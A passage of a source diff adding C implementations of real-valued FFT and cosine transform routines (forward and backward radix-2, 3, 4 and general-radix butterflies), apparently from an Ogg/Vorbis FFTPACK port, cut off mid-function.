+ t6=t1+t1;
+ for (i=2;i<ido;i+=2){
+ t3+=2;
+ t4-=2;
+ t5+=2;
+ t6+=2;
+ tr2=wa1[i-2]*cc[t3-1]+wa1[i-1]*cc[t3];
+ ti2=wa1[i-2]*cc[t3]-wa1[i-1]*cc[t3-1];
+ ch[t6]=cc[t5]+ti2;
+ ch[t4]=ti2-cc[t5];
+ ch[t6-1]=cc[t5-1]+tr2;
+ ch[t4-1]=cc[t5-1]-tr2;
+ }
+ t1+=ido;
+ t2+=ido;
+ }
+
+ if (ido%2==1) return;
+
+ L105:
+ t3=(t2=(t1=ido)-1);
+ t2+=t0;
+ for (k=0;k<l1;k++){
+ ch[t1]=-cc[t2];
+ ch[t1-1]=cc[t3];
+ t1+=ido<<1;
+ t2+=ido;
+ t3+=ido;
+ }
+}
+
+STIN void dradf4(int ido,int l1,float *cc,float *ch,float *wa1,
+ float *wa2,float *wa3){
+ static float hsqt2 = .70710678118654752440084436210485;
+ int i,k,t0,t1,t2,t3,t4,t5,t6;
+ float ci2,ci3,ci4,cr2,cr3,cr4,ti1,ti2,ti3,ti4,tr1,tr2,tr3,tr4;
+ t0=l1*ido;
+
+ t1=t0;
+ t4=t1<<1;
+ t2=t1+(t1<<1);
+ t3=0;
+
+ for (k=0;k<l1;k++){
+ tr1=cc[t1]+cc[t2];
+ tr2=cc[t3]+cc[t4];
+ ch[t5=t3<<2]=tr1+tr2;
+ ch[(ido<<2)+t5-1]=tr2-tr1;
+ ch[(t5+=(ido<<1))-1]=cc[t3]-cc[t4];
+ ch[t5]=cc[t2]-cc[t1];
+
+ t1+=ido;
+ t2+=ido;
+ t3+=ido;
+ t4+=ido;
+ }
+
+ if (ido<2) return;
+ if (ido==2) goto L105;
+
+ t1=0;
+ for (k=0;k<l1;k++){
+ t2=t1;
+ t4=t1<<2;
+ t5=(t6=ido<<1)+t4;
+ for (i=2;i<ido;i+=2){
+ t3=(t2+=2);
+ t4+=2;
+ t5-=2;
+
+ t3+=t0;
+ cr2=wa1[i-2]*cc[t3-1]+wa1[i-1]*cc[t3];
+ ci2=wa1[i-2]*cc[t3]-wa1[i-1]*cc[t3-1];
+ t3+=t0;
+ cr3=wa2[i-2]*cc[t3-1]+wa2[i-1]*cc[t3];
+ ci3=wa2[i-2]*cc[t3]-wa2[i-1]*cc[t3-1];
+ t3+=t0;
+ cr4=wa3[i-2]*cc[t3-1]+wa3[i-1]*cc[t3];
+ ci4=wa3[i-2]*cc[t3]-wa3[i-1]*cc[t3-1];
+
+ tr1=cr2+cr4;
+ tr4=cr4-cr2;
+ ti1=ci2+ci4;
+ ti4=ci2-ci4;
+ ti2=cc[t2]+ci3;
+ ti3=cc[t2]-ci3;
+ tr2=cc[t2-1]+cr3;
+ tr3=cc[t2-1]-cr3;
+
+
+ ch[t4-1]=tr1+tr2;
+ ch[t4]=ti1+ti2;
+
+ ch[t5-1]=tr3-ti4;
+ ch[t5]=tr4-ti3;
+
+ ch[t4+t6-1]=ti4+tr3;
+ ch[t4+t6]=tr4+ti3;
+
+ ch[t5+t6-1]=tr2-tr1;
+ ch[t5+t6]=ti1-ti2;
+ }
+ t1+=ido;
+ }
+ if (ido%2==1) return;
+
+ L105:
+
+ t2=(t1=t0+ido-1)+(t0<<1);
+ t3=ido<<2;
+ t4=ido;
+ t5=ido<<1;
+ t6=ido;
+
+ for (k=0;k<l1;k++){
+ ti1=-hsqt2*(cc[t1]+cc[t2]);
+ tr1=hsqt2*(cc[t1]-cc[t2]);
+ ch[t4-1]=tr1+cc[t6-1];
+ ch[t4+t5-1]=cc[t6-1]-tr1;
+ ch[t4]=ti1-cc[t1+t0];
+ ch[t4+t5]=ti1+cc[t1+t0];
+ t1+=ido;
+ t2+=ido;
+ t4+=t3;
+ t6+=ido;
+ }
+}
+
+STIN void dradfg(int ido,int ip,int l1,int idl1,float *cc,float *c1,
+ float *c2,float *ch,float *ch2,float *wa){
+
+ static float tpi=6.28318530717958647692528676655900577;
+ int idij,ipph,i,j,k,l,ic,ik,is;
+ int t0,t1,t2,t3,t4,t5,t6,t7,t8,t9,t10;
+ float dc2,ai1,ai2,ar1,ar2,ds2;
+ int nbd;
+ float dcp,arg,dsp,ar1h,ar2h;
+ int idp2,ipp2;
+
+ arg=tpi/(float)ip;
+ dcp=cos(arg);
+ dsp=sin(arg);
+ ipph=(ip+1)>>1;
+ ipp2=ip;
+ idp2=ido;
+ nbd=(ido-1)>>1;
+ t0=l1*ido;
+ t10=ip*ido;
+
+ if (ido==1) goto L119;
+ for (ik=0;ik<idl1;ik++)ch2[ik]=c2[ik];
+
+ t1=0;
+ for (j=1;j<ip;j++){
+ t1+=t0;
+ t2=t1;
+ for (k=0;k<l1;k++){
+ ch[t2]=c1[t2];
+ t2+=ido;
+ }
+ }
+
+ is=-ido;
+ t1=0;
+ if (nbd>l1){
+ for (j=1;j<ip;j++){
+ t1+=t0;
+ is+=ido;
+ t2= -ido+t1;
+ for (k=0;k<l1;k++){
+ idij=is-1;
+ t2+=ido;
+ t3=t2;
+ for (i=2;i<ido;i+=2){
+ idij+=2;
+ t3+=2;
+ ch[t3-1]=wa[idij-1]*c1[t3-1]+wa[idij]*c1[t3];
+ ch[t3]=wa[idij-1]*c1[t3]-wa[idij]*c1[t3-1];
+ }
+ }
+ }
+ }else{
+
+ for (j=1;j<ip;j++){
+ is+=ido;
+ idij=is-1;
+ t1+=t0;
+ t2=t1;
+ for (i=2;i<ido;i+=2){
+ idij+=2;
+ t2+=2;
+ t3=t2;
+ for (k=0;k<l1;k++){
+ ch[t3-1]=wa[idij-1]*c1[t3-1]+wa[idij]*c1[t3];
+ ch[t3]=wa[idij-1]*c1[t3]-wa[idij]*c1[t3-1];
+ t3+=ido;
+ }
+ }
+ }
+ }
+
+ t1=0;
+ t2=ipp2*t0;
+ if (nbd<l1){
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ for (i=2;i<ido;i+=2){
+ t3+=2;
+ t4+=2;
+ t5=t3-ido;
+ t6=t4-ido;
+ for (k=0;k<l1;k++){
+ t5+=ido;
+ t6+=ido;
+ c1[t5-1]=ch[t5-1]+ch[t6-1];
+ c1[t6-1]=ch[t5]-ch[t6];
+ c1[t5]=ch[t5]+ch[t6];
+ c1[t6]=ch[t6-1]-ch[t5-1];
+ }
+ }
+ }
+ }else{
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ for (k=0;k<l1;k++){
+ t5=t3;
+ t6=t4;
+ for (i=2;i<ido;i+=2){
+ t5+=2;
+ t6+=2;
+ c1[t5-1]=ch[t5-1]+ch[t6-1];
+ c1[t6-1]=ch[t5]-ch[t6];
+ c1[t5]=ch[t5]+ch[t6];
+ c1[t6]=ch[t6-1]-ch[t5-1];
+ }
+ t3+=ido;
+ t4+=ido;
+ }
+ }
+ }
+
+L119:
+ for (ik=0;ik<idl1;ik++)c2[ik]=ch2[ik];
+
+ t1=0;
+ t2=ipp2*idl1;
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1-ido;
+ t4=t2-ido;
+ for (k=0;k<l1;k++){
+ t3+=ido;
+ t4+=ido;
+ c1[t3]=ch[t3]+ch[t4];
+ c1[t4]=ch[t4]-ch[t3];
+ }
+ }
+
+ ar1=1.;
+ ai1=0.;
+ t1=0;
+ t2=ipp2*idl1;
+ t3=(ip-1)*idl1;
+ for (l=1;l<ipph;l++){
+ t1+=idl1;
+ t2-=idl1;
+ ar1h=dcp*ar1-dsp*ai1;
+ ai1=dcp*ai1+dsp*ar1;
+ ar1=ar1h;
+ t4=t1;
+ t5=t2;
+ t6=t3;
+ t7=idl1;
+
+ for (ik=0;ik<idl1;ik++){
+ ch2[t4++]=c2[ik]+ar1*c2[t7++];
+ ch2[t5++]=ai1*c2[t6++];
+ }
+
+ dc2=ar1;
+ ds2=ai1;
+ ar2=ar1;
+ ai2=ai1;
+
+ t4=idl1;
+ t5=(ipp2-1)*idl1;
+ for (j=2;j<ipph;j++){
+ t4+=idl1;
+ t5-=idl1;
+
+ ar2h=dc2*ar2-ds2*ai2;
+ ai2=dc2*ai2+ds2*ar2;
+ ar2=ar2h;
+
+ t6=t1;
+ t7=t2;
+ t8=t4;
+ t9=t5;
+ for (ik=0;ik<idl1;ik++){
+ ch2[t6++]+=ar2*c2[t8++];
+ ch2[t7++]+=ai2*c2[t9++];
+ }
+ }
+ }
+
+ t1=0;
+ for (j=1;j<ipph;j++){
+ t1+=idl1;
+ t2=t1;
+ for (ik=0;ik<idl1;ik++)ch2[ik]+=c2[t2++];
+ }
+
+ if (ido<l1) goto L132;
+
+ t1=0;
+ t2=0;
+ for (k=0;k<l1;k++){
+ t3=t1;
+ t4=t2;
+ for (i=0;i<ido;i++)cc[t4++]=ch[t3++];
+ t1+=ido;
+ t2+=t10;
+ }
+
+ goto L135;
+
+ L132:
+ for (i=0;i<ido;i++){
+ t1=i;
+ t2=i;
+ for (k=0;k<l1;k++){
+ cc[t2]=ch[t1];
+ t1+=ido;
+ t2+=t10;
+ }
+ }
+
+ L135:
+ t1=0;
+ t2=ido<<1;
+ t3=0;
+ t4=ipp2*t0;
+ for (j=1;j<ipph;j++){
+
+ t1+=t2;
+ t3+=t0;
+ t4-=t0;
+
+ t5=t1;
+ t6=t3;
+ t7=t4;
+
+ for (k=0;k<l1;k++){
+ cc[t5-1]=ch[t6];
+ cc[t5]=ch[t7];
+ t5+=t10;
+ t6+=ido;
+ t7+=ido;
+ }
+ }
+
+ if (ido==1) return;
+ if (nbd<l1) goto L141;
+
+ t1=-ido;
+ t3=0;
+ t4=0;
+ t5=ipp2*t0;
+ for (j=1;j<ipph;j++){
+ t1+=t2;
+ t3+=t2;
+ t4+=t0;
+ t5-=t0;
+ t6=t1;
+ t7=t3;
+ t8=t4;
+ t9=t5;
+ for (k=0;k<l1;k++){
+ for (i=2;i<ido;i+=2){
+ ic=idp2-i;
+ cc[i+t7-1]=ch[i+t8-1]+ch[i+t9-1];
+ cc[ic+t6-1]=ch[i+t8-1]-ch[i+t9-1];
+ cc[i+t7]=ch[i+t8]+ch[i+t9];
+ cc[ic+t6]=ch[i+t9]-ch[i+t8];
+ }
+ t6+=t10;
+ t7+=t10;
+ t8+=ido;
+ t9+=ido;
+ }
+ }
+ return;
+
+ L141:
+
+ t1=-ido;
+ t3=0;
+ t4=0;
+ t5=ipp2*t0;
+ for (j=1;j<ipph;j++){
+ t1+=t2;
+ t3+=t2;
+ t4+=t0;
+ t5-=t0;
+ for (i=2;i<ido;i+=2){
+ t6=idp2+t1-i;
+ t7=i+t3;
+ t8=i+t4;
+ t9=i+t5;
+ for (k=0;k<l1;k++){
+ cc[t7-1]=ch[t8-1]+ch[t9-1];
+ cc[t6-1]=ch[t8-1]-ch[t9-1];
+ cc[t7]=ch[t8]+ch[t9];
+ cc[t6]=ch[t9]-ch[t8];
+ t6+=t10;
+ t7+=t10;
+ t8+=ido;
+ t9+=ido;
+ }
+ }
+ }
+}
+
+STIN void drftf1(int n,float *c,float *ch,float *wa,int *ifac){
+ int i,k1,l1,l2;
+ int na,kh,nf;
+ int ip,iw,ido,idl1,ix2,ix3;
+
+ nf=ifac[1];
+ na=1;
+ l2=n;
+ iw=n;
+
+ for (k1=0;k1<nf;k1++){
+ kh=nf-k1;
+ ip=ifac[kh+1];
+ l1=l2/ip;
+ ido=n/l2;
+ idl1=ido*l1;
+ iw-=(ip-1)*ido;
+ na=1-na;
+
+ if (ip!=4) goto L102;
+
+ ix2=iw+ido;
+ ix3=ix2+ido;
+ if (na!=0)
+ dradf4(ido,l1,ch,c,wa+iw-1,wa+ix2-1,wa+ix3-1);
+ else
+ dradf4(ido,l1,c,ch,wa+iw-1,wa+ix2-1,wa+ix3-1);
+ goto L110;
+
+ L102:
+ if (ip!=2) goto L104;
+ if (na!=0) goto L103;
+
+ dradf2(ido,l1,c,ch,wa+iw-1);
+ goto L110;
+
+ L103:
+ dradf2(ido,l1,ch,c,wa+iw-1);
+ goto L110;
+
+ L104:
+ if (ido==1)na=1-na;
+ if (na!=0) goto L109;
+
+ dradfg(ido,ip,l1,idl1,c,c,c,ch,ch,wa+iw-1);
+ na=1;
+ goto L110;
+
+ L109:
+ dradfg(ido,ip,l1,idl1,ch,ch,ch,c,c,wa+iw-1);
+ na=0;
+
+ L110:
+ l2=l1;
+ }
+
+ if (na==1) return;
+
+ for (i=0;i<n;i++)c[i]=ch[i];
+}
+
+void __ogg_fdrfftf(int n,float *r,float *wsave,int *ifac){
+ if (n==1) return;
+ drftf1(n,r,wsave,wsave+n,ifac);
+}
+
+STIN void dcsqf1(int n,float *x,float *w,float *xh,int *ifac){
+ int modn,i,k,kc;
+ int np2,ns2;
+ float xim1;
+
+ ns2=(n+1)>>1;
+ np2=n;
+
+ kc=np2;
+ for (k=1;k<ns2;k++){
+ kc--;
+ xh[k]=x[k]+x[kc];
+ xh[kc]=x[k]-x[kc];
+ }
+
+ modn=n%2;
+ if (modn==0)xh[ns2]=x[ns2]+x[ns2];
+
+ for (k=1;k<ns2;k++){
+ kc=np2-k;
+ x[k]=w[k-1]*xh[kc]+w[kc-1]*xh[k];
+ x[kc]=w[k-1]*xh[k]-w[kc-1]*xh[kc];
+ }
+
+ if (modn==0)x[ns2]=w[ns2-1]*xh[ns2];
+
+ __ogg_fdrfftf(n,x,xh,ifac);
+
+ for (i=2;i<n;i+=2){
+ xim1=x[i-1]-x[i];
+ x[i]=x[i-1]+x[i];
+ x[i-1]=xim1;
+ }
+}
+
+void __ogg_fdcosqf(int n,float *x,float *wsave,int *ifac){
+ static float sqrt2=1.4142135623730950488016887242097;
+ float tsqx;
+
+ switch (n){
+ case 0:case 1:
+ return;
+ case 2:
+ tsqx=sqrt2*x[1];
+ x[1]=x[0]-tsqx;
+ x[0]+=tsqx;
+ return;
+ default:
+ dcsqf1(n,x,wsave,wsave+n,ifac);
+ return;
+ }
+}
+
+STIN void dradb2(int ido,int l1,float *cc,float *ch,float *wa1){
+ int i,k,t0,t1,t2,t3,t4,t5,t6;
+ float ti2,tr2;
+
+ t0=l1*ido;
+
+ t1=0;
+ t2=0;
+ t3=(ido<<1)-1;
+ for (k=0;k<l1;k++){
+ ch[t1]=cc[t2]+cc[t3+t2];
+ ch[t1+t0]=cc[t2]-cc[t3+t2];
+ t2=(t1+=ido)<<1;
+ }
+
+ if (ido<2) return;
+ if (ido==2) goto L105;
+
+ t1=0;
+ t2=0;
+ for (k=0;k<l1;k++){
+ t3=t1;
+ t5=(t4=t2)+(ido<<1);
+ t6=t0+t1;
+ for (i=2;i<ido;i+=2){
+ t3+=2;
+ t4+=2;
+ t5-=2;
+ t6+=2;
+ ch[t3-1]=cc[t4-1]+cc[t5-1];
+ tr2=cc[t4-1]-cc[t5-1];
+ ch[t3]=cc[t4]-cc[t5];
+ ti2=cc[t4]+cc[t5];
+ ch[t6-1]=wa1[i-2]*tr2-wa1[i-1]*ti2;
+ ch[t6]=wa1[i-2]*ti2+wa1[i-1]*tr2;
+ }
+ t2=(t1+=ido)<<1;
+ }
+
+ if (ido%2==1) return;
+
+L105:
+ t1=ido-1;
+ t2=ido-1;
+ for (k=0;k<l1;k++){
+ ch[t1]=cc[t2]+cc[t2];
+ ch[t1+t0]=-(cc[t2+1]+cc[t2+1]);
+ t1+=ido;
+ t2+=ido<<1;
+ }
+}
+
+STIN void dradb3(int ido,int l1,float *cc,float *ch,float *wa1,
+ float *wa2){
+ static float taur = -.5;
+ static float taui = .86602540378443864676372317075293618;
+ int i,k,t0,t1,t2,t3,t4,t5,t6,t7,t8,t9,t10;
+ float ci2,ci3,di2,di3,cr2,cr3,dr2,dr3,ti2,tr2;
+ t0=l1*ido;
+
+ t1=0;
+ t2=t0<<1;
+ t3=ido<<1;
+ t4=ido+(ido<<1);
+ t5=0;
+ for (k=0;k<l1;k++){
+ tr2=cc[t3-1]+cc[t3-1];
+ cr2=cc[t5]+(taur*tr2);
+ ch[t1]=cc[t5]+tr2;
+ ci3=taui*(cc[t3]+cc[t3]);
+ ch[t1+t0]=cr2-ci3;
+ ch[t1+t2]=cr2+ci3;
+ t1+=ido;
+ t3+=t4;
+ t5+=t4;
+ }
+
+ if (ido==1) return;
+
+ t1=0;
+ t3=ido<<1;
+ for (k=0;k<l1;k++){
+ t7=t1+(t1<<1);
+ t6=(t5=t7+t3);
+ t8=t1;
+ t10=(t9=t1+t0)+t0;
+
+ for (i=2;i<ido;i+=2){
+ t5+=2;
+ t6-=2;
+ t7+=2;
+ t8+=2;
+ t9+=2;
+ t10+=2;
+ tr2=cc[t5-1]+cc[t6-1];
+ cr2=cc[t7-1]+(taur*tr2);
+ ch[t8-1]=cc[t7-1]+tr2;
+ ti2=cc[t5]-cc[t6];
+ ci2=cc[t7]+(taur*ti2);
+ ch[t8]=cc[t7]+ti2;
+ cr3=taui*(cc[t5-1]-cc[t6-1]);
+ ci3=taui*(cc[t5]+cc[t6]);
+ dr2=cr2-ci3;
+ dr3=cr2+ci3;
+ di2=ci2+cr3;
+ di3=ci2-cr3;
+ ch[t9-1]=wa1[i-2]*dr2-wa1[i-1]*di2;
+ ch[t9]=wa1[i-2]*di2+wa1[i-1]*dr2;
+ ch[t10-1]=wa2[i-2]*dr3-wa2[i-1]*di3;
+ ch[t10]=wa2[i-2]*di3+wa2[i-1]*dr3;
+ }
+ t1+=ido;
+ }
+}
+
+STIN void dradb4(int ido,int l1,float *cc,float *ch,float *wa1,
+ float *wa2,float *wa3){
+ static float sqrt2=1.4142135623730950488016887242097;
+ int i,k,t0,t1,t2,t3,t4,t5,t6,t7,t8;
+ float ci2,ci3,ci4,cr2,cr3,cr4,ti1,ti2,ti3,ti4,tr1,tr2,tr3,tr4;
+ t0=l1*ido;
+
+ t1=0;
+ t2=ido<<2;
+ t3=0;
+ t6=ido<<1;
+ for (k=0;k<l1;k++){
+ t4=t3+t6;
+ t5=t1;
+ tr3=cc[t4-1]+cc[t4-1];
+ tr4=cc[t4]+cc[t4];
+ tr1=cc[t3]-cc[(t4+=t6)-1];
+ tr2=cc[t3]+cc[t4-1];
+ ch[t5]=tr2+tr3;
+ ch[t5+=t0]=tr1-tr4;
+ ch[t5+=t0]=tr2-tr3;
+ ch[t5+=t0]=tr1+tr4;
+ t1+=ido;
+ t3+=t2;
+ }
+
+ if (ido<2) return;
+ if (ido==2) goto L105;
+
+ t1=0;
+ for (k=0;k<l1;k++){
+ t5=(t4=(t3=(t2=t1<<2)+t6))+t6;
+ t7=t1;
+ for (i=2;i<ido;i+=2){
+ t2+=2;
+ t3+=2;
+ t4-=2;
+ t5-=2;
+ t7+=2;
+ ti1=cc[t2]+cc[t5];
+ ti2=cc[t2]-cc[t5];
+ ti3=cc[t3]-cc[t4];
+ tr4=cc[t3]+cc[t4];
+ tr1=cc[t2-1]-cc[t5-1];
+ tr2=cc[t2-1]+cc[t5-1];
+ ti4=cc[t3-1]-cc[t4-1];
+ tr3=cc[t3-1]+cc[t4-1];
+ ch[t7-1]=tr2+tr3;
+ cr3=tr2-tr3;
+ ch[t7]=ti2+ti3;
+ ci3=ti2-ti3;
+ cr2=tr1-tr4;
+ cr4=tr1+tr4;
+ ci2=ti1+ti4;
+ ci4=ti1-ti4;
+
+ ch[(t8=t7+t0)-1]=wa1[i-2]*cr2-wa1[i-1]*ci2;
+ ch[t8]=wa1[i-2]*ci2+wa1[i-1]*cr2;
+ ch[(t8+=t0)-1]=wa2[i-2]*cr3-wa2[i-1]*ci3;
+ ch[t8]=wa2[i-2]*ci3+wa2[i-1]*cr3;
+ ch[(t8+=t0)-1]=wa3[i-2]*cr4-wa3[i-1]*ci4;
+ ch[t8]=wa3[i-2]*ci4+wa3[i-1]*cr4;
+ }
+ t1+=ido;
+ }
+
+ if (ido%2 == 1) return;
+
+ L105:
+
+ t1=ido;
+ t2=ido<<2;
+ t3=ido-1;
+ t4=ido+(ido<<1);
+ for (k=0;k<l1;k++){
+ t5=t3;
+ ti1=cc[t1]+cc[t4];
+ ti2=cc[t4]-cc[t1];
+ tr1=cc[t1-1]-cc[t4-1];
+ tr2=cc[t1-1]+cc[t4-1];
+ ch[t5]=tr2+tr2;
+ ch[t5+=t0]=sqrt2*(tr1-ti1);
+ ch[t5+=t0]=ti2+ti2;
+ ch[t5+=t0]=-sqrt2*(tr1+ti1);
+
+ t3+=ido;
+ t1+=t2;
+ t4+=t2;
+ }
+}
+
+STIN void dradbg(int ido,int ip,int l1,int idl1,float *cc,float *c1,
+ float *c2,float *ch,float *ch2,float *wa){
+ static float tpi=6.28318530717958647692528676655900577;
+ int idij,ipph,i,j,k,l,ik,is,t0,t1,t2,t3,t4,t5,t6,t7,t8,t9,t10,
+ t11,t12;
+ float dc2,ai1,ai2,ar1,ar2,ds2;
+ int nbd;
+ float dcp,arg,dsp,ar1h,ar2h;
+ int ipp2;
+
+ t10=ip*ido;
+ t0=l1*ido;
+ arg=tpi/(float)ip;
+ dcp=cos(arg);
+ dsp=sin(arg);
+ nbd=(ido-1)>>1;
+ ipp2=ip;
+ ipph=(ip+1)>>1;
+ if (ido<l1) goto L103;
+
+ t1=0;
+ t2=0;
+ for (k=0;k<l1;k++){
+ t3=t1;
+ t4=t2;
+ for (i=0;i<ido;i++){
+ ch[t3]=cc[t4];
+ t3++;
+ t4++;
+ }
+ t1+=ido;
+ t2+=t10;
+ }
+ goto L106;
+
+ L103:
+ t1=0;
+ for (i=0;i<ido;i++){
+ t2=t1;
+ t3=t1;
+ for (k=0;k<l1;k++){
+ ch[t2]=cc[t3];
+ t2+=ido;
+ t3+=t10;
+ }
+ t1++;
+ }
+
+ L106:
+ t1=0;
+ t2=ipp2*t0;
+ t7=(t5=ido<<1);
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ t6=t5;
+ for (k=0;k<l1;k++){
+ ch[t3]=cc[t6-1]+cc[t6-1];
+ ch[t4]=cc[t6]+cc[t6];
+ t3+=ido;
+ t4+=ido;
+ t6+=t10;
+ }
+ t5+=t7;
+ }
+
+ if (ido == 1) goto L116;
+ if (nbd<l1) goto L112;
+
+ t1=0;
+ t2=ipp2*t0;
+ t7=0;
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+
+ t7+=(ido<<1);
+ t8=t7;
+ for (k=0;k<l1;k++){
+ t5=t3;
+ t6=t4;
+ t9=t8;
+ t11=t8;
+ for (i=2;i<ido;i+=2){
+ t5+=2;
+ t6+=2;
+ t9+=2;
+ t11-=2;
+ ch[t5-1]=cc[t9-1]+cc[t11-1];
+ ch[t6-1]=cc[t9-1]-cc[t11-1];
+ ch[t5]=cc[t9]-cc[t11];
+ ch[t6]=cc[t9]+cc[t11];
+ }
+ t3+=ido;
+ t4+=ido;
+ t8+=t10;
+ }
+ }
+ goto L116;
+
+ L112:
+ t1=0;
+ t2=ipp2*t0;
+ t7=0;
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ t7+=(ido<<1);
+ t8=t7;
+ t9=t7;
+ for (i=2;i<ido;i+=2){
+ t3+=2;
+ t4+=2;
+ t8+=2;
+ t9-=2;
+ t5=t3;
+ t6=t4;
+ t11=t8;
+ t12=t9;
+ for (k=0;k<l1;k++){
+ ch[t5-1]=cc[t11-1]+cc[t12-1];
+ ch[t6-1]=cc[t11-1]-cc[t12-1];
+ ch[t5]=cc[t11]-cc[t12];
+ ch[t6]=cc[t11]+cc[t12];
+ t5+=ido;
+ t6+=ido;
+ t11+=t10;
+ t12+=t10;
+ }
+ }
+ }
+
+L116:
+ ar1=1.;
+ ai1=0.;
+ t1=0;
+ t9=(t2=ipp2*idl1);
+ t3=(ip-1)*idl1;
+ for (l=1;l<ipph;l++){
+ t1+=idl1;
+ t2-=idl1;
+
+ ar1h=dcp*ar1-dsp*ai1;
+ ai1=dcp*ai1+dsp*ar1;
+ ar1=ar1h;
+ t4=t1;
+ t5=t2;
+ t6=0;
+ t7=idl1;
+ t8=t3;
+ for (ik=0;ik<idl1;ik++){
+ c2[t4++]=ch2[t6++]+ar1*ch2[t7++];
+ c2[t5++]=ai1*ch2[t8++];
+ }
+ dc2=ar1;
+ ds2=ai1;
+ ar2=ar1;
+ ai2=ai1;
+
+ t6=idl1;
+ t7=t9-idl1;
+ for (j=2;j<ipph;j++){
+ t6+=idl1;
+ t7-=idl1;
+ ar2h=dc2*ar2-ds2*ai2;
+ ai2=dc2*ai2+ds2*ar2;
+ ar2=ar2h;
+ t4=t1;
+ t5=t2;
+ t11=t6;
+ t12=t7;
+ for (ik=0;ik<idl1;ik++){
+ c2[t4++]+=ar2*ch2[t11++];
+ c2[t5++]+=ai2*ch2[t12++];
+ }
+ }
+ }
+
+ t1=0;
+ for (j=1;j<ipph;j++){
+ t1+=idl1;
+ t2=t1;
+ for (ik=0;ik<idl1;ik++)ch2[ik]+=ch2[t2++];
+ }
+
+ t1=0;
+ t2=ipp2*t0;
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ for (k=0;k<l1;k++){
+ ch[t3]=c1[t3]-c1[t4];
+ ch[t4]=c1[t3]+c1[t4];
+ t3+=ido;
+ t4+=ido;
+ }
+ }
+
+ if (ido==1) goto L132;
+ if (nbd<l1) goto L128;
+
+ t1=0;
+ t2=ipp2*t0;
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ for (k=0;k<l1;k++){
+ t5=t3;
+ t6=t4;
+ for (i=2;i<ido;i+=2){
+ t5+=2;
+ t6+=2;
+ ch[t5-1]=c1[t5-1]-c1[t6];
+ ch[t6-1]=c1[t5-1]+c1[t6];
+ ch[t5]=c1[t5]+c1[t6-1];
+ ch[t6]=c1[t5]-c1[t6-1];
+ }
+ t3+=ido;
+ t4+=ido;
+ }
+ }
+ goto L132;
+
+ L128:
+ t1=0;
+ t2=ipp2*t0;
+ for (j=1;j<ipph;j++){
+ t1+=t0;
+ t2-=t0;
+ t3=t1;
+ t4=t2;
+ for (i=2;i<ido;i+=2){
+ t3+=2;
+ t4+=2;
+ t5=t3;
+ t6=t4;
+ for (k=0;k<l1;k++){
+ ch[t5-1]=c1[t5-1]-c1[t6];
+ ch[t6-1]=c1[t5-1]+c1[t6];
+ ch[t5]=c1[t5]+c1[t6-1];
+ ch[t6]=c1[t5]-c1[t6-1];
+ t5+=ido;
+ t6+=ido;
+ }
+ }
+ }
+
+L132:
+ if (ido==1) return;
+
+ for (ik=0;ik<idl1;ik++)c2[ik]=ch2[ik];
+
+ t1=0;
+ for (j=1;j<ip;j++){
+ t2=(t1+=t0);
+ for (k=0;k<l1;k++){
+ c1[t2]=ch[t2];
+ t2+=ido;
+ }
+ }
+
+ if (nbd>l1) goto L139;
+
+ is= -ido-1;
+ t1=0;
+ for (j=1;j<ip;j++){
+ is+=ido;
+ t1+=t0;
+ idij=is;
+ t2=t1;
+ for (i=2;i<ido;i+=2){
+ t2+=2;
+ idij+=2;
+ t3=t2;
+ for (k=0;k<l1;k++){
+ c1[t3-1]=wa[idij-1]*ch[t3-1]-wa[idij]*ch[t3];
+ c1[t3]=wa[idij-1]*ch[t3]+wa[idij]*ch[t3-1];
+ t3+=ido;
+ }
+ }
+ }
+ return;
+
+ L139:
+ is= -ido-1;
+ t1=0;
+ for (j=1;j<ip;j++){
+ is+=ido;
+ t1+=t0;
+ t2=t1;
+ for (k=0;k<l1;k++){
+ idij=is;
+ t3=t2;
+ for (i=2;i<ido;i+=2){
+ idij+=2;
+ t3+=2;
+ c1[t3-1]=wa[idij-1]*ch[t3-1]-wa[idij]*ch[t3];
+ c1[t3]=wa[idij-1]*ch[t3]+wa[idij]*ch[t3-1];
+ }
+ t2+=ido;
+ }
+ }
+}
+
+STIN void drftb1(int n, float *c, float *ch, float *wa, int *ifac){
+ int i,k1,l1,l2;
+ int na;
+ int nf,ip,iw,ix2,ix3,ido,idl1;
+
+ nf=ifac[1];
+ na=0;
+ l1=1;
+ iw=1;
+
+ for (k1=0;k1<nf;k1++){
+ ip=ifac[k1 + 2];
+ l2=ip*l1;
+ ido=n/l2;
+ idl1=ido*l1;
+ if (ip!=4) goto L103;
+ ix2=iw+ido;
+ ix3=ix2+ido;
+
+ if (na!=0)
+ dradb4(ido,l1,ch,c,wa+iw-1,wa+ix2-1,wa+ix3-1);
+ else
+ dradb4(ido,l1,c,ch,wa+iw-1,wa+ix2-1,wa+ix3-1);
+ na=1-na;
+ goto L115;
+
+ L103:
+ if (ip!=2) goto L106;
+
+ if (na!=0)
+ dradb2(ido,l1,ch,c,wa+iw-1);
+ else
+ dradb2(ido,l1,c,ch,wa+iw-1);
+ na=1-na;
+ goto L115;
+
+ L106:
+ if (ip!=3) goto L109;
+
+ ix2=iw+ido;
+ if (na!=0)
+ dradb3(ido,l1,ch,c,wa+iw-1,wa+ix2-1);
+ else
+ dradb3(ido,l1,c,ch,wa+iw-1,wa+ix2-1);
+ na=1-na;
+ goto L115;
+
+ L109:
+/* The radix five case can be translated later..... */
+/* if (ip!=5) goto L112;
+
+ ix2=iw+ido;
+ ix3=ix2+ido;
+ ix4=ix3+ido;
+ if (na!=0)
+ dradb5(ido,l1,ch,c,wa+iw-1,wa+ix2-1,wa+ix3-1,wa+ix4-1);
+ else
+ dradb5(ido,l1,c,ch,wa+iw-1,wa+ix2-1,wa+ix3-1,wa+ix4-1);
+ na=1-na;
+ goto L115;
+
+ L112:*/
+ if (na!=0)
